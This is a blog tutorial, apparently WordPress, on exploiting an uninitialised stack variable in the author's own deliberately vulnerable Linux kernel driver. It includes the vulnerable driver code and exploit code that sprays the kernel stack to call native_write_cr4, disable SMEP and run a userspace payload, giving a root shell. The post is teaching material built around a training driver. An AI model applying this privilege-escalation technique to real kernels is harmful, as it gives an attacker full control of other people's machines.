Exploiting an Uninitialised Stack Variable – Linux Kernel

This post demonstrates how to exploit a simple uninitialised stack variable in the Linux Kernel. I’ll start by examining the vulnerability (again this is part of the intentionally vulnerable driver I’ve been writing), and then explore how we can go about exploiting it.

The Vulnerable Code

The code I added to include this vulnerability exposes 2 new IOCTL’s to the driver:

case UNINITIALISED_STACK_ALLOC:
 {
   ret = copy_to_stack((char *)p_arg);
   break;
 }
 case UNINITIALISED_STACK_USE:
 {
   use_obj_args use_obj_arg;
 
   if(copy_from_user(&use_obj_arg, p_arg, sizeof(use_obj_args)))
     return -EINVAL;
 
   use_stack_obj(&use_obj_arg);
 
   break;
}

In copy_to_stack, we simply copy memory from userspace into the kernel stack as such:

noinline static int copy_to_stack(char __user *user_buff)
 {
   int ret;
   char buff[BUFF_SIZE];

   ret = copy_from_user(buff, user_buff, BUFF_SIZE);
   buff[BUFF_SIZE - 1] = 0;

   return ret;
 }

Note the use of the noinline keyword. I needed to ensure that this function creates a stack from by actually being called, without it the compiler can optimise the function out and place its code in the case statement of do_ioctl.

In use_stack_obj, we simply allocate a stack_obj struct on the stack without initialising it, and then use it:

noinline static void use_stack_obj(use_obj_args *use_obj_arg)
 {
    volatile stack_obj s_obj;

   if(use_obj_arg->option == 0)
   {
      s_obj.fn = uninitialised_callback;
      s_obj.fn_arg = use_obj_arg->fn_arg;
   }

  s_obj.fn(s_obj.fn_arg);
}

A stack_obj is defined as such:

typedef struct stack_obj 
 {
   int do_callback;
   long fn_arg;
   void (*fn)(long);
   char buff[48];
 }stack_obj;

The main point here is that it contains a function pointer, if we declare this object on the stack and then use it without proper initialisation, it will simply contain whatever was on the stack before this function got called.

24

I can demonstrate this with a simple example:

If I use the following code –

<...snip includes...>
#include "../src/vuln_driver.h"
#define PATH "/dev/vulnerable_device"
#define BUFF_SIZE 4096

typedef struct use_obj_args
{
   int option;
   long fn_arg;
}use_obj_args;

int main()
{
   int fd = open(PATH, O_RDWR);
   char buff[BUFF_SIZE];
   memset(buff, 0x41, BUFF_SIZE);
   buff[BUFF_SIZE-1] = 0;
  
   use_obj_args use_obj = {
      .option = 1;
      .fn_arg = 1337;
   }

   ioctl(fd, UNINITIALISED_STACK_ALLOC, buff);
   ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);
}

I then start debugging the kernel with IDA and setting breakpoints on copy_to_stack and use_stack_obj.

In copy_to_stack, you can see the user buffer being copied to the kernel stack:

25

Then in use_stack_obj, we can see this previous stack frame:

27

This snippet shows that the stack_obj has been “filled” with data from the stack that was there previously (our user controlled data).

The Exploit

From here, exploitation is relatively trivial. We could either use the exact offset of where the function pointer and argument is on the stack (rbp-38, rbp-40), or less elegantly just spray the whole stack as follows:

size_t long_size = sizeof(long);
/* Spray the stack space with our target function and its argument */
 for(int i =0; i < 4096; i += long_size*2)
 {
   memcpy(buff+i, &target_cr4, long_size);
   memcpy(buff+i+long_size, &native_cr4_write, long_size);
}
 
 /* Allocate our buffer on the kernel stack, and then trigger the vuln */
 ioctl(fd, UNINITIALISED_STACK_ALLOC, buff);
 ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);

The full process is quite similar to my previous exploits:

  • Trigger a fault to leak kernel pointers in dmesg.
  • Calculate the offsets of functions such as native_write_cr4.
  • Disable SMEP by changing the value of cr4.
  • Map a userspace address and copy a privesc payload in to it.
  • Spray the stack with the mapped address which will be called by the vulnerable kernel function.

Most of these steps have been covered previously, here I will simply show that disabling SMEP and getting code execution requires two loops and 4 calls to the driver:

/* Spray the stack space with our target function and its argument */
 for(int i =0; i < 4096; i += long_size*2)
 {
   memcpy(buff+i, &target_cr4, long_size);
   memcpy(buff+i+long_size, &native_cr4_write, long_size);
}
 
 /* Allocate our buffer on the kernel stack, and then trigger the vuln */
 ioctl(fd, UNINITIALISED_STACK_ALLOC, buff);
 ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);

/* At this point SMEP is disabled */
 memset(buff, 0, sizeof(buff));
 long target_address = MMAP_ADDR;

/* Spray the stack space with our userspace address */
 for(int i =0; i < 4096; i += long_size)
 {
   memcpy(buff+i, &target_address, long_size);
 }

/* Allocate our buffer on the kernel stack and trigger the vuln */
 ioctl(fd, UNINITIALISED_STACK_ALLOC, buff);
 ioctl(fd, UNINITIALISED_STACK_USE, &use_obj);

And again, we get a nice root shell:

28

Full exploit available here.

Afterthought

If you read the exploit you may notice some unused code. The stack spraying method was an attempt at spraying the whole kernel stack, unfortunately, my tests showed I never came close to being near the stack_obj I was trying to attack. I also couldn’t find much online about targeted stack spraying.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s